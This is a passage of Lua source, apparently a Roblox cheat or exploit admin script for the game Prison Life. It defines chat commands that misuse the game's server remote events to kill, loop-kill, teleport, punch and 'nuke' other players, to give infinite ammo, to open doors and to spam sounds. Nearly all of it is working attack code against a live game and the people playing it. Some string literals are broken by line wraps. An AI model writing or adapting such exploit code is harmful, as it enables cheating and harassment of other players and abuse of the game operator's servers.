died[v.Name] = nil
laspos[v.Name] = root.CFrame
end
end
if root then
laspos[v.Name] =
v.Character:FindFirstChild("HumanoidRootPart").CFrame
end
if not lasteam[v.Name] then
lasteam[v.Name] = v.TeamColor
end
if not SavedChar[v.Name] then
SavedChar[v.Name] = v.Character
end
end
if v.TeamColor == BrickColor.new("Medium stone grey")
then
laspos[v.Name] = nil
lasteam[v.Name] = nil
SavedChar[v.Name] = nil
wasneutral[v.Name] = true
elseif wasneutral[v.Name] then
if v.Character and not
v.Character:FindFirstChildWhichIsA("ForceField") then
wasneutral[v.Name] = nil
end
end
end
end)
Hbeat:Wait()
task.wait(0.08)
end
laspos = nil
lasteam = nil
died = nil
wasneutral = nil
SavedChar = nil
CheaterDetected = nil
dcolor = nil
end)
end
end,
LaunchNuke = function(target, radius, countdown)
if SavedArgs.NukeCooldown then
Notif("Error", "A nuke is already launching!")
return
end
local coords = target.Character:FindFirstChild("HumanoidRootPart").CFrame
SavedArgs.NukeCooldown = true
pcall(function()
local rad, ticking = radius or 269, countdown or 3
local tempopo = LocalPlayer.Character
Chat("!!!! WARNING: A NUKE IS LAUNCHING NEAR " .. target.Name .. "
WITHIN A " .. tostring(math.floor(rad)) .. " METER RADIUS IN APPROXIMATELY " ..
tostring(ticking) .. " SECOND(S) !!!!")
wait(ticking)
Chat("!!! TACTICAL NUKE INCOMING !!!")
local lrot = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
local lastpos = lrot.CFrame
lrot.CFrame = CFrame.new(coords.Position + Vector3.new(0, 269, 0))
local torpedo = Instance.new("BodyAngularVelocity", lrot)
torpedo.Name = "Spinner"
torpedo.MaxTorque = Vector3.new(0, math.huge, 0)
torpedo.P = math.huge
local falling = Instance.new("BodyPosition", lrot)
falling.Name = "Nuker"
falling.D = 0
falling.MaxForce = Vector3.new(math.huge, math.huge, math.huge)
falling.P = 9999
falling.Position = lrot.CFrame.Position
torpedo.AngularVelocity = Vector3.new(0, 69, 0)
wait(0.8)
repeat
wait()
falling.Position = lrot.Position + Vector3.new(0, -3, 0)
lrot.CFrame = lrot.CFrame * CFrame.new(0, -3, 0)
until LocalPlayer.Character ~= tempopo or (lrot.Position -
coords.Position).Magnitude < 8 or (Vector3.new(0, coords.Position.Y, 0) -
Vector3.new(0, lrot.Position.Y, 0)).Magnitude < 8
falling:Destroy()
falling = nil
torpedo:Destroy()
torpedo = nil
tempopo = nil
Stepped:Wait()
LocalPlayer.Character.PrimaryPart.Velocity = Vector3.new(0, 0, 0)
local AboutToDie, MakeRay = {}, {}
for i, v in pairs(Players:GetPlayers()) do
if v ~= LocalPlayer and v.Character and CheckWhitelist(v) then
local par = v.Character:FindFirstChild("HumanoidRootPart")
if par and (par.Position - coords.Position).Magnitude < rad
then
AboutToDie[#AboutToDie + 1] = v
end
end
end
Gun("AK-47")
coroutine.wrap(TableKill)(AboutToDie)
for i, v in next, AboutToDie do
if v.Character and v.Character:FindFirstChild("HumanoidRootPart")
then
MakeRay[#MakeRay + 1] = { Hit = v.Character.HumanoidRootPart,
Cframe = v.Character.HumanoidRootPart.CFrame, Distance = math.huge, RayObject =
Ray.new(Vector3.new(), Vector3.new()) }
end
end
local gun = LocalPlayer.Backpack:FindFirstChild("AK-47") or
LocalPlayer.Character:FindFirstChild("AK-47")
Rstorage.ShootEvent:FireServer(MakeRay, gun)
Hbeat:Wait()
Rstorage.ShootEvent:FireServer(MakeRay, gun)
Rstorage.ReloadEvent:FireServer(gun)
CreateClientRay(MakeRay)
Hbeat:Wait()
CreateClientRay(MakeRay)
RTPing(0.5)
LocTP(lastpos)
end)
SavedArgs.NukeCooldown = false
end,
ReloadGun = function(arg, arg2)
if not arg then
return
end
task.spawn(function()
local tool = arg.Name
while wait() do
local findchild = LocalPlayer.Character:FindFirstChild(tool) or
LocalPlayer.Backpack:FindFirstChild(tool)
if findchild then
if LocalPlayer.Character:FindFirstChild(tool) then
Rstorage.ReloadEvent:FireServer(findchild)
elseif arg2 then
break
end
else
break
end
end
end)
end,
SoundSpam = function()
task.spawn(function()
while States.SoundSpam do
task.wait()
local sounds = {}
for ii, vv in next, workspace:GetDescendants() do
if vv:IsA("Sound") then
sounds[#sounds + 1] = vv
end
end
task.wait()
pcall(function()
for i, v in pairs(Players:GetPlayers()) do
if v.Character and v.Character:FindFirstChild("Head") then
local vhead = v.Character:FindFirstChild("Head")
for ii, vv in ipairs(sounds) do
Rstorage.SoundEvent:FireServer(vv, vhead)
vv:Play()
end
end
wait(CPing() + 0.15)
end
sounds = nil
end)
task.wait(0.1)
RTPing()
end
end)
end,
LoopSounds = function()
task.spawn(function()
while States.LoopSounds do
task.wait()
pcall(function()
for i, v in pairs(Players:GetPlayers()) do
if v and v.Character then
local head = v.Character.Head
local punch = head.punchSound
punch.Volume = math.huge
Rstorage.SoundEvent:FireServer(punch)
local ring = workspace["Prison_guardspawn"].spawn.Sound
Rstorage.SoundEvent:FireServer(ring, head)
ring:Play()
punch:Play()
end
end
end)
task.wait(0.08)
end
end)
end,
SpinnyTools = function()
task.spawn(function()
local save = {}
while States.SpinnyTools do
task.wait()
pcall(function()
for i, v in next, LocalPlayer.Character:GetChildren() do
if v:IsA("Tool") then
if not save[v] then
save[v] = true
v.Grip = CFrame.new(Saved.SpinToolRadius, 0, 0)
end
v.Parent = LocalPlayer.Backpack
v.Grip = v.Grip * CFrame.Angles(0,
math.rad(Saved.SpinToolSpeed), 0)
v.Parent = LocalPlayer.Character
end
end
end)
task.wait(0.1)
end
LAction("unequip")
for i, v in pairs(LocalPlayer.Backpack:GetChildren()) do
if v:IsA("Tool") then
v.Grip = CFrame.new(0, 0, 0)
end
end
save = nil
Saved.Thread.SpinnyTools = nil
end)
end,
AutoInfiniteAmmo = function()
task.spawn(function()
while Toggles.AutoInfiniteAmmo do
task.wait()
if LocalPlayer.Character then
for i, v in next, LocalPlayer.Character:GetChildren() do
if v:IsA("Tool") and v:FindFirstChild("GunStates") then
Rstorage.ReloadEvent:FireServer(v)
end
end
wait()
end
end
Saved.Thread.AutoInfiniteAmmo = nil
end)
end,
OhioMode = function()
task.spawn(function()
while States.OhioMode do
task.wait()
for i, v in pairs(Players:GetPlayers()) do
if v.Character and
v.Character:FindFirstChildOfClass("Humanoid") then
if v.Character.Humanoid.Health == 0 then
Chat("!!! (" .. v.DisplayName .. ") HAS DIED! EVERYONE
WILL DIE IN 0.5 SECOND(s)")
task.wait(0.5)
task.spawn(MultiKill, Players, v)
RTPing()
wait(10)
end
end
end
end
end)
end,
PartyRave = function()
task.spawn(function()
while States.PartyRave and task.wait() do
pcall(function()
Gun("M9")
local gun = LocalPlayer.Backpack:FindFirstChild("M9") or
LocalPlayer.Character:FindFirstChild("M9")
for i, v in pairs(Players:GetPlayers()) do
if v.Character and v.Character:FindFirstChild("Head") then
local crabrave = { [1] = { Cframe =
v.Character.Head.CFrame, Distance = 2048, RayObject = Ray.new() } }
Rstorage.ShootEvent:FireServer(crabrave, gun)
Rstorage.ReloadEvent:FireServer(gun)
CreateClientRay(crabrave)
end
wait()
end
wait()
end)
end
end)
end,
OpenSesame = function()
task.spawn(function()
local doors = {}
for i, v in pairs(workspace.Doors:GetChildren()) do
if v:IsA("Model") then
doors[#doors + 1] = v
end
end
while States.MagicDoor do
wait()
for i, v in pairs(Players:GetPlayers()) do
if v.Character and LocalPlayer.Character and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart") and
v.Character:FindFirstChild("HumanoidRootPart") and LocalPlayer.TeamColor.Name ~=
"Medium stone grey" then
for _, vv in next, doors do
local pivot, vpos = vv:GetPivot().Position,
v.Character.HumanoidRootPart.Position
if (pivot - vpos).Magnitude < 8 then
if LocalPlayer.TeamColor.Name ~= "Bright blue" then
if #Teams.Guards:GetPlayers() < 8 then
TeamTo("guard")
waitfor(LocalPlayer.Character,
"HumanoidRootPart", 1)
end
end
local laspiv, oldcol = vv:GetPivot(), {}
vv:PivotTo(LocalPlayer.Character:GetPivot())
for _, vvv in pairs(vv:GetDescendants()) do
if vvv:IsA("BasePart") and vvv.CanCollide then
vvv.CanCollide = false
oldcol[vvv] = true
end
end
Hbeat:Wait()
vv:PivotTo(laspiv)
for _, vvv in pairs(vv:GetDescendants()) do
if vvv:IsA("BasePart") and oldcol[vvv] then
vvv.CanCollide = true
end
end
wait()
oldcol = nil
end
end
end
end
end
doors = nil
end)
end,
Refresh = function(RefreshAs, Position)
if RefreshAs then
LocalPlayer.TeamColor = BrickColor.new(RefreshAs)
end
local tmp = Position or
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
SavedPositions.AutoRe = tmp
SaveCamPos()
if LocalPlayer.TeamColor == BrickColor.new("Bright blue") then
if #Teams.Guards:GetPlayers() > 7 then
TeamEve("Bright orange")
end
TeamEve("Bright blue")
elseif LocalPlayer.TeamColor == BrickColor.new("Bright orange") then
TeamEve("Bright orange")
elseif LocalPlayer.TeamColor == BrickColor.new("Really red") then
TeamEve("Bright orange")
task.spawn(function()
workspace["Criminals Spawn"].SpawnLocation.CFrame =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
LocalPlayer.CharacterAdded:Wait()
repeat
Stepped:Wait()
pcall(function()
workspace["Criminals Spawn"].SpawnLocation.CFrame =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
end)
until LocalPlayer.TeamColor == BrickColor.new("Really red")
workspace["Criminals Spawn"].SpawnLocation.CFrame =
SavedPositions.Crimpad
end)
else
TeamEve("Medium stone grey")
end
LocalPlayer.CharacterAdded:Wait()
if waitfor(LocalPlayer.Character, "HumanoidRootPart", 5) then
LocTP(tmp)
end
LoadCamPos()
end,
Respawn = function(bcolor)
SavedPositions.AutoRe = nil
if bcolor == BrickColor.new("Bright orange") then
TeamEve("Bright orange")
elseif bcolor == BrickColor.new("Bright blue") then
TeamEve("Bright orange")
TeamEve("Bright blue")
elseif bcolor == BrickColor.new("Really red") then
task.spawn(TeamEve, "Bright orange")
TeamEve("Bright blue")
repeat
Stepped:Wait()
pcall(function()
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
= workspace["Criminals Spawn"].SpawnLocation.CFrame
end)
until LocalPlayer.TeamColor == BrickColor.new("Really red")
else
TeamEve("Medium stone grey")
end
end,
CopyChat = function()
task.spawn(function()
local tempcon, tempcons = nil, {}
for _, v in pairs(Players:GetPlayers()) do
if v and v ~= LocalPlayer then
tempcons[#tempcons + 1] = v.Chatted:Connect(function(arg)
Chat("[" .. v.DisplayName .. "]: " .. tostring(arg))
end)
end
end
tempcon = Players.PlayerAdded:Connect(function(plr)
tempcons[#tempcons + 1] = plr.Chatted:Connect(function(arg)
Chat("[" .. plr.DisplayName .. "]: " .. tostring(arg))
end)
end)
repeat
wait()
until not States.CopyCat
tempcon:Disconnect()
for _, v in pairs(tempcons) do
v:Disconnect()
v = nil
end
tempcon = nil
tempcons = nil
end)
end,
}
--Use commands
local chatdebounce = false
local OnCommand = function(text)
local Args = text:split(" ")
if not Args[1] then
chatdebounce = nil
return
end
if Args[1] == "/e" or Args[1] == "/c" or Args[1] == "/t" or Args[1] == "/" then
table.remove(Args, 1)
end
if Args[1] == "/w" then
table.remove(Args, 1)
if Args[2] then
table.remove(Args, 1)
end
end
if Args[1] == "/revert" or Args[1] == Prefix .. "/revert" then
Prefix = "?"
MainFrame.Position = UDim2.new(0.5, 0, 0.5, 0)
if not MainFrame.Visible then
MainFrame.Visible = true
PLAdmin:FindFirstChild("TextButton"):Destroy()
end
end
if not (Args[1]:sub(1, #Prefix) == Prefix) then
chatdebounce = nil
return
end
local function cm(args)
return args == Args[1]:sub(#Prefix + 1):lower()
end
if cm("bring") or cm("get") then
local DaPlayer = PlrFromArgs(Args[2], false)
if DaPlayer then
BringPL(DaPlayer, LocalPlayer)
elseif Args[2] == "all" then
SavedPositions.BringAll =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
for i, v in pairs(Players:GetPlayers()) do
if not (v == LocalPlayer) then
BringPL(v, SavedPositions.BringAll, true)
end
end
LAction("unsit", true)
LocTP(SavedPositions.BringAll)
elseif Args[2] == "random" then
local randomplr = GetRandomPlr(LocalPlayer)
BringPL(randomplr, LocalPlayer)
Notif("OK", "Brought " .. randomplr.Name .. ".")
else
Notif("Error", "Not a valid player")
end
elseif cm("teleport") or cm("tp") then
local BringPlr = PlrFromArgs(Args[2], LocalPlayer)
local ToPlayer = PlrFromArgs(Args[3], LocalPlayer)
SavedPositions.TeleportPL =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
if BringPlr and ToPlayer then
if not (BringPlr == ToPlayer) then
BringPL(BringPlr, ToPlayer)
else
Notif("Error", "You can't teleport the same player(s)")
end
elseif BringPlr and not ToPlayer then
LocTP(ToPlayer.Character.HumanoidRootPart.CFrame)
Notif("Error", "Not a valid player(s)")
end
elseif cm("goto") or cm("to") then
local DaPlayer = PlrFromArgs(Args[2], false)
if DaPlayer then
LocTP(DaPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame)
elseif Args[2] == "random" then
local DaRandom = GetRandomPlr(LocalPlayer)
LocTP(DaRandom.Character:FindFirstChild("HumanoidRootPart").CFrame)
else
Notif("Error", "Not a valid player.")
end
elseif cm("kill") or cm("oof") or cm("die") then
local DaPlayer = PlrFromArgs(Args[2], false)
if DaPlayer then
KillPL(DaPlayer)
Notif("OK", "Killed " .. DaPlayer.Name .. ".")
end
local ar = Args[2] and Args[2]:lower()
if ar == "all" then
MultiKill(Players)
Notif("OK", "Killed all players.")
elseif ar == "inmate" or ar == "inmates" then
MultiKill(Teams.Inmates)
Notif("OK", "Killed inmates.")
elseif ar == "guard" or ar == "guards" then
MultiKill(Teams.Guards)
Notif("OK", "Killed guards.")
elseif ar == "criminal" or ar == "criminals" then
MultiKill(Teams.Criminals)
Notif("OK", "Killed criminals.")
elseif ar == "neutral" or ar == "neutrals" then
MultiKill(Teams.Neutral)
Notif("OK", "Killed neutrals.")
elseif ar == "random" then
local DaRandom = GetRandomPlr(LocalPlayer)
KillPL(DaRandom)
Notif("OK", "Killed " .. DaRandom.Name .. ".")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("shootkill") or cm("skill") then
local ar = Args[2] and Args[2]:lower()
if ar then
local DaPlayer = PlrFromArgs(Args[2], false)
local thegun = nil
if LocalPlayer.Character:FindFirstChildWhichIsA("Tool") and
LocalPlayer.Character:FindFirstChildWhichIsA("Tool"):FindFirstChildOfClass("ModuleS
cript") and LocalPlayer.Character:FindFirstChildWhichIsA("Tool").Name ~= "Taser"
then
thegun = LocalPlayer.Character:FindFirstChildWhichIsA("Tool").Name
end
if DaPlayer then
ShootKill(DaPlayer, nil, thegun)
Notif("OK", "Shoot-Killed " .. DaPlayer.Name .. ".")
end
if ar == "all" then
for i, v in pairs(Players:GetPlayers()) do
if v.Character and v ~= LocalPlayer and CheckWhitelist(v) then
ShootKill(v, nil, thegun)
end
end
Notif("OK", "Shoot-Killed all.")
elseif ar == "inmate" or ar == "inmates" then
for i, v in pairs(Teams.Inmates:GetPlayers()) do
if v.Character and v ~= LocalPlayer and CheckWhitelist(v) then
ShootKill(v, nil, thegun)
end
end
Notif("OK", "Shoot-killed inmates.")
elseif ar == "guard" or ar == "guards" then
for i, v in pairs(Teams.Guards:GetPlayers()) do
if v.Character and v ~= LocalPlayer and CheckWhitelist(v) then
ShootKill(v, nil, thegun)
end
end
Notif("OK", "Shoot-Killed guards.")
elseif ar == "criminal" or ar == "criminals" then
for i, v in pairs(Teams.Criminals:GetPlayers()) do
if v.Character and v ~= LocalPlayer and CheckWhitelist(v) then
ShootKill(v, nil, thegun)
end
end
Notif("OK", "Shoot-Killed criminals.")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
end
elseif cm("shootlk") or cm("slk") then
local ar = Args[2] and Args[2]:lower()
if ar then
local DaPlayer = PlrFromArgs(ar, false)
if DaPlayer then
Loops.ShootKill[DaPlayer.UserId] = DaPlayer
Notif("OK", "Loop-Shoot killing " .. DaPlayer.Name .. ".")
end
if ar == "all" then
for i, v in pairs(Players:GetPlayers()) do
if v ~= LocalPlayer and v.Character and CheckWhitelist(v) then
Loops.ShootKill[v.UserId] = v
end
end
Notif("OK", "Loop-Shoot killing all selected players.")
elseif ar == "inmate" or ar == "inmates" then
for i, v in pairs(Teams.Inmates:GetPlayers()) do
if v.Character and v ~= LocalPlayer and CheckWhitelist(v) then
Loops.ShootKill[v.UserId] = v
end
end
Notif("OK", "Loop-Shoot killing all selected inmates.")
elseif ar == "guard" or ar == "guards" then
for i, v in pairs(Teams.Guards:GetPlayers()) do
if v.Character and v ~= LocalPlayer and CheckWhitelist(v) then
Loops.ShootKill[v.UserId] = v
end
end
Notif("OK", "Loop-Shoot killing all selected guards.")
elseif ar == "criminal" or ar == "criminals" then
for i, v in pairs(Teams.Criminals:GetPlayers()) do
if v.Character and v ~= LocalPlayer and CheckWhitelist(v) then
Loops.ShootKill[v.UserId] = v
end
end
Notif("OK", "Loop-Shoot killing all selected criminals.")
elseif ar == "random" then
local ran = GetRandomPlr(LocalPlayer)
Loops.ShootKill[ran.UserId] = ran
Notif("OK", "Loop-Shoot killing " .. ran.Name .. ".")
end
if not Saved.Thread.ShootKillPlayers then
Threads.ShootKillPlayers()
end
end
elseif cm("unshootlk") or cm("unslk") then
local DaPlayer = Args[2] and PlrFromArgs(Args[2], false)
if DaPlayer then
Loops.ShootKill[DaPlayer.UserId] = nil
Notif("OK", "Stopped shoot-killing " .. DaPlayer.Name .. ".")
end
if Args[2] == "all" then
Loops.ShootKill = {}
Notif("OK", "Stopped shoot-killing player(s)")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("lpunch") then
if not States.LPunch then
States.LPunch = true
Notif("OK", "Punching players for no reason.")
task.spawn(function()
while States.LPunch do
task.wait()
for i, v in pairs(Players:GetPlayers()) do
if v and v.Character and v ~= LocalPlayer and
CheckWhitelist(v) then
pcall(function()
LocTP(v.Character.HumanoidRootPart.CFrame)
RTPing(0.1)
VirtualPunch()
end)
if not States.LPunch then
break
end
end
end
end
end)
else
Notif("Error", "Already punching player(s), type " .. Prefix ..
"unlpunch to stop.")
end
elseif cm("unlpunch") then
States.LPunch = false
Notif("OK", "Stopped punching players for no reason.")
elseif cm("punchkill") or cm("pkill") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
PunchKill(DaPlayer, tonumber(Args[3]))
Notif("OK", "Punch-killed " .. DaPlayer.Name .. ".")
end
local ar = Args[2] and Args[2]:lower()
if ar == "all" then
for i, v in pairs(Players:GetPlayers()) do
if v and v.Character and not (v == LocalPlayer) then
PunchKill(v, tonumber(Args[3]))
task.wait()
end
end
Notif("OK", "Punch-killed everyone.")
elseif ar == "inmate" or ar == "inmates" then
for i, v in pairs(Teams.Inmates:GetPlayers()) do
if v and v.Character and not (v == LocalPlayer) then
PunchKill(v, tonumber(Args[3]))
task.wait()
end
end
Notif("OK", "Punch-killed inmates.")
elseif ar == "guard" or ar == "guards" then
for i, v in pairs(Teams.Guards:GetPlayers()) do
if v and v.Character and not (v == LocalPlayer) then
PunchKill(v, tonumber(Args[3]))
task.wait()
end
end
Notif("OK", "Punch-killed guards.")
elseif ar == "criminal" or ar == "criminals" then
for i, v in pairs(Teams.Criminals:GetPlayers()) do
if v and v.Character and not (v == LocalPlayer) then
PunchKill(v, tonumber(Args[3]))
task.wait()
end
end
Notif("OK", "Punch-killed criminals.")
elseif ar == "neutral" or ar == "neutrals" then
for i, v in pairs(Teams.Neutral:GetPlayers()) do
PunchKill(v, tonumber(Args[3]))
end
Notif("OK", "Punch-killed neutrals.")
elseif ar == "random" then
local rando = GetRandomPlr()
PunchKill(rando, tonumber(Args[3]))
Notif("OK", "Punch-killed " .. rando.Name .. ".")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("voidkill") or cm("vkill") then
local DaPlayer = PlrFromArgs(Args[2], false)
if not DaPlayer and Args[2] == "random" then
repeat
task.wait()
DaPlayer = GetRandomPlr(LocalPlayer)
until not (DaPlayer.TeamColor == BrickColor.new("Medium stone grey"))
end
if DaPlayer then
States.AntiVoid = false
local tempo = nil
local success, errors = pcall(function()
tempo = LocalPlayer.Character.HumanoidRootPart.CFrame
BringPL(DaPlayer, CFrame.new(0, -320, 0), true, true)
end)
task.wait(0.1)
LAction("unsit", true)
States.AntiVoid = true
LocTP(tempo)
if success then
Notif("OK", "Void-killed " .. DaPlayer.Name .. ".")
else
Notif("ERROR", "Failed to void-kill player.")
dewarn("PrizzLife_Error: " .. tostring(errors) .. ".")
end
else
Notif("Error", "Not a valid player.")
end
elseif cm("lvoidkill") or cm("lvkill") or cm("lvk") then
local DaPlayer = PlrFromArgs(Args[2], false)
if not DaPlayer and Args[2] == "random" then
DaPlayer = GetRandomPlr(LocalPlayer)
end
if DaPlayer then
Loops.VoidKill[DaPlayer.UserId] = DaPlayer
Notif("OK", "Loop-voidkilling " .. DaPlayer.Name("."))
else
Notif("Error", "Not a valid player.")
end
elseif cm("unlvoidkill") or cm("unlvkill") or cm("unlvk") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
Loops.VoidKill[DaPlayer.UserId] = nil
Notif("OK", "Stopped void-killing " .. DaPlayer.Name .. ".")
end
if Args[2] == "all" then
Loops.VoidKill = {}
Notif("OK", "Stopped void-killing player(s)")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("randomkill") or cm("rkill") then
local DaPlayer = PlrFromArgs(Args[2], false)
if DaPlayer then
Loops.RandomKill[DaPlayer.UserId] = DaPlayer
Notif("OK", "Randomly killing " .. DaPlayer.Name .. ".")
end
local ar = Args[2] and Args[2]:lower()
if ar == "all" then
for i, v in pairs(Players:GetPlayers()) do
if v and v.Character and not (v == LocalPlayer) and
CheckWhitelist(v) then
Loops.RandomKill[v.UserId] = v
end
end
Notif("OK", "Randomly killing everyone.")
elseif ar == "inmate" or ar == "inmates" then
for i, v in pairs(Teams.Inmates:GetPlayers()) do
if v and v.Character and not (v == LocalPlayer) and
CheckWhitelist(v) then
Loops.RandomKill[v.UserId] = v
end
end
Notif("OK", "Randomly killing everyone in the inmates team.")
elseif ar == "guard" or ar == "guards" then
for i, v in pairs(Teams.Guards:GetPlayers()) do
if v and v.Character and not (v == LocalPlayer) and
CheckWhitelist(v) then
Loops.RandomKill[v.UserId] = v
end
end
Notif("OK", "Randomly killing everyone in the guards team.")
elseif ar == "criminal" or ar == "criminals" then
for i, v in pairs(Teams.Criminals:GetPlayers()) do
if v and v.Character and not (v == LocalPlayer) and
CheckWhitelist(v) then
Loops.RandomKill[v.UserId] = v
end
end
Notif("OK", "Randomly killing everyone in the criminals team.")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
if not Saved.Thread.RandomKillPlayers then
Threads.RandomKillPlayers()
end
elseif cm("unrandomkill") or cm("unrkill") then
local DaPlayer = PlrFromArgs(Args[2], false)
if DaPlayer then
Loops.RandomKill[DaPlayer.UserId] = nil
Notif("OK", "Stopped randomly killing " .. DaPlayer.Name .. ".")
end
if Args[2] == "all" then
Loops.RandomKill = {}
Notif("OK", "Stopped randomly killing all.")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("lpunchkill") or cm("lpkill") or cm("lpk") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
Loops.PunchKill[DaPlayer.UserId] = DaPlayer
Notif("OK", "Loop-punchkilling " .. DaPlayer.Name .. ".")
end
local ar = Args[2] and Args[2]:lower()
if ar == "all" then
for i, v in pairs(Players:GetPlayers()) do
if v and v.Character and not (v == LocalPlayer) and
CheckWhitelist(v) then
Loops.PunchKill[v.UserId] = v
end
end
Notif("OK", "Punch-killing everyone")
elseif ar == "inmate" or ar == "inmates" then
for i, v in pairs(Teams.Inmates:GetPlayers()) do
if v and v.Character and not (v == LocalPlayer) and
CheckWhitelist(v) then
Loops.PunchKill[v.UserId] = v
end
end
Notif("OK", "Punch-killing everyone in the inmates team.")
elseif ar == "guard" or ar == "guards" then
for i, v in pairs(Teams.Guards:GetPlayers()) do
if v and v.Character and not (v == LocalPlayer) and
CheckWhitelist(v) then
Loops.PunchKill[v.UserId] = v
end
end
Notif("OK", "Punch-killing everyone in the guards team.")
elseif ar == "criminal" or ar == "criminals" then
for i, v in pairs(Teams.Criminals:GetPlayers()) do
if v and v.Character and not (v == LocalPlayer) and
CheckWhitelist(v) then
Loops.PunchKill[v.UserId] = v
end
end
Notif("OK", "Punch-killing everyone in the criminals team.")
elseif ar == "random" then
local rand = GetRandomPlr()
Loops.PunchKill[rand.UserId] = rand
Notif("OK", "Punch-killing " .. rand.Name .. ".")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("unlpunchkill") or cm("unlpkill") or cm("unlpk") then
local DaPlayer = PlrFromArgs(Args[2], LocalPlayer)
if DaPlayer then
Loops.PunchKill[DaPlayer.UserId] = nil
Notif("OK", "Stopped punch-killing " .. DaPlayer.Name .. ".")
end
local ar = Args[2] and Args[2]:lower()
if ar == "all" then
Loops.PunchKill = {}
Notif("OK", "Stopped punch-killing everyone.")
elseif not DaPlayer then
Notif("Error", "Not a valid player.")
end
elseif cm("damage") or cm("dmg") then
local amount = nil
if Args[3] then
amount = math.floor(tonumber(Args[3]))
else
amount = math.random(1, 5)
end
local DaPlayer = PlrFromArgs(Args[2], false)
if DaPlayer then
KillPL(DaPlayer, amount, "M9")
Notif("OK", "Damaged " .. DaPlayer.Name .. " with amount of " ..
tostring(Args[3]) .. " bullet(s)")
end
if Args[2] == "all" then
for i, v in next, Players:GetPlayers() do
if v and v.Character and not (v == LocalPlayer) and
CheckWhitelist(v) then
if not (v.Character:FindFirstChild("Humanoid").Health == 0)
then
KillPL(v, amount, "M9")
Rstorage.ReloadEvent:FireServer(LocalPlayer.Backpack["M9"])
task.wait(1)
end
end
end
Notif("OK", "Damaged all player(s) with amount of " .. tostring(amount)
.. " bullets.")
elseif Args[2] == "random" then
DaPlayer = GetRandomPlr(LocalPlayer)
KillPL(DaPlayer, amount, "M9")
Notif("OK", "Damaged " .. DaPlayer.Name .. " with amount of " ..
tostring(Args[3]) .. " bullet(s)")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("loopkill") or cm("lk") then
local DaPlayer = PlrFromArgs(Args[2], false)
if DaPlayer then
Loops.Kill[DaPlayer.UserId] = DaPlayer
Notif("OK", "Loopkilling " .. DaPlayer.Name .. ".")
end
local ar = Args[2] and Args[2]:lower()
if ar == "all" then
Loops.KillTeams.All = true
Notif("OK", "Loopkilling all.")
elseif ar == "inmate" or ar == "inmates" then
Loops.KillTeams.Inmates = true
Notif("OK", "Loopkilling inmates.")
elseif ar == "guard" or ar == "guards" then
Loops.KillTeams.Guards = true
Notif("OK", "Loopkilling guards.")
elseif ar == "criminal" or ar == "criminals" then
Loops.KillTeams.Criminals = true
Notif("OK", "Loopkilling criminals.")
elseif ar == "neutral" or ar == "neutrals" then
Loops.KillTeams.Neutrals = true
Notif("OK", "Loopkilling neutrals.")
elseif ar == "random" then
local randomplr = GetRandomPlr(LocalPlayer)
Loops.Kill[randomplr.UserId] = randomplr
Notif("OK", "Loopkilling " .. randomplr.Name .. ".")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("unloopkill") or cm("unlk") then
local DaPlayer = PlrFromArgs(Args[2], false)
if DaPlayer then
Loops.Kill[DaPlayer.UserId] = nil
Notif("OK", "Unloopkilled " .. DaPlayer.Name .. ".")
end
local ar = Args[2] and Args[2]:lower()
if ar == "all" then
for i, v in pairs(Players:GetPlayers()) do
if Loops.Kill[v.UserId] then
Loops.Kill[v.UserId] = nil
end
end
Loops.KillTeams.All = false
Loops.KillTeams.Guards = false
Loops.KillTeams.Inmates = false
Loops.KillTeams.Criminals = false
Loops.KillTeams.Neutrals = false
Notif("OK", "Stopped loopkilling all.")
elseif ar == "inmate" or ar == "inmates" then
Loops.KillTeams.Inmates = false
Notif("OK", "Unloopkilled inmates.")
elseif ar == "guard" or ar == "guards" then
Loops.KillTeams.Guards = false
Notif("OK", "Unloopkilled guards.")
elseif ar == "criminal" or ar == "criminals" then
Loops.KillTeams.Criminals = false
Notif("OK", "Unloopkilled criminals.")
elseif ar == "neutral" or ar == "neutrals" then
Loops.KillTeams.Neutrals = false
Notif("OK", "Unloopkilled neutrals.")
elseif not DaPlayer then
Notif("Error", "Not a valid player(s)")
end
elseif cm("meleekill") or cm("mkill") then
local DaPlayer, arg = PlrFromArgs(Args[2], LocalPlayer), Args[2]
if DaPlayer then
MeleeKill(DaPlayer, true, Args[3] == "true")
Notif("OK", "Melee-killed " .. DaPlayer.Name .. ".")
end
if arg == "all" then
local tempos =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
for i, v in pairs(Players:GetPlayers()) do
if not (v == LocalPlayer) and CheckWhitelist(v) then
MeleeKill(v, false, Args[3] == "true")
end
end
LocTP(tempos)
Notif("OK", "Melee-killed everyone.")
elseif arg == "inmate" or arg == "inmates" then
local tempos =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
for i, v in pairs(Teams.Inmates:GetPlayers()) do
if not (v == LocalPlayer) and CheckWhitelist(v) then
MeleeKill(v, false, Args[3] == "true")
end
end
LocTP(tempos)
Notif("OK", "Melee-killed all inmates.")
elseif arg == "guard" or arg == "guards" then
local tempos =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
for i, v in pairs(Teams.Guards:GetPlayers()) do
if not (v == LocalPlayer) and CheckWhitelist(v) then
